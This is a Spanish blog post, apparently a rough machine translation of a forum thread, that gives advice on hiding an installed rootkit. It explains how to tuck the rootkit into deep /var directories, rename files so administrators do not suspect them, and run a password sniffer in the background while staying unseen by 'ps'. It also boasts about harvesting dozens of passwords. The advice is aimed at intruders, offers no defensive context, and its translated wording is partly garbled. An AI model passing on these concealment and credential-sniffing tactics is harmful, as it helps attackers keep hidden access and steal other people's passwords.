Para terminar la sección dos, yo te daré algunos consejos que he encontrado para ser útil al ocultar ciertas características de un rootkit, por ejemplo Backdoor, Sniffer, etc)

Vamos a empezar por revisar la manera de ocultar con éxito el rootkit real ...

Para empezar, sería una buena idea para ocultar el rootkit recopilada en un directorio oculto. Yo recomendaría la creación de un directorio en el que sospecha que el administrador no se le acercarán. Por ejemplo, pruebe a esconderse en una carpeta ubicada en / var / algo / algo / algo que sea lo más larga posible y cambiar el nombre del archivo con el "mv" comando a algo que el administrador no se sospecha que es un "sospechoso" del archivo (por ejemplo, el kernel -023, PSO, LS2, etc)

Ahora cuando se ejecuta el sniffer, asegúrese de agregar el carácter "&" detrás de él, al igual que este "lnsniffer &", el "&" indica que el sistema siga funcionando el programa, incluso cuando el usuario está conectado a cabo. Sin embargo, esto provocaría un riesgo ligeramente mayor. Si dejas el sniffer corriendo todo el día y el administrador del sistema se registra en lo posible que note que algo está pasando si iba a ejecutar el comando "ps". Sniffers son grandes programas para obtener contraseñas, si un Sniffer TCP se ha instalado de forma regular conexión Ethernet se puede capturar un buen 50 contraseñas extrañas!


Fuente:http://www.go4expert.com/forums/showthread.php?t=5021

Seguir leyendo:http://www.go4expert.com/forums/showthread.php?t=5021

Traduccion:Dellcom1@.

Saludos Mundo Libre.

No hay comentarios:

Publicar un comentario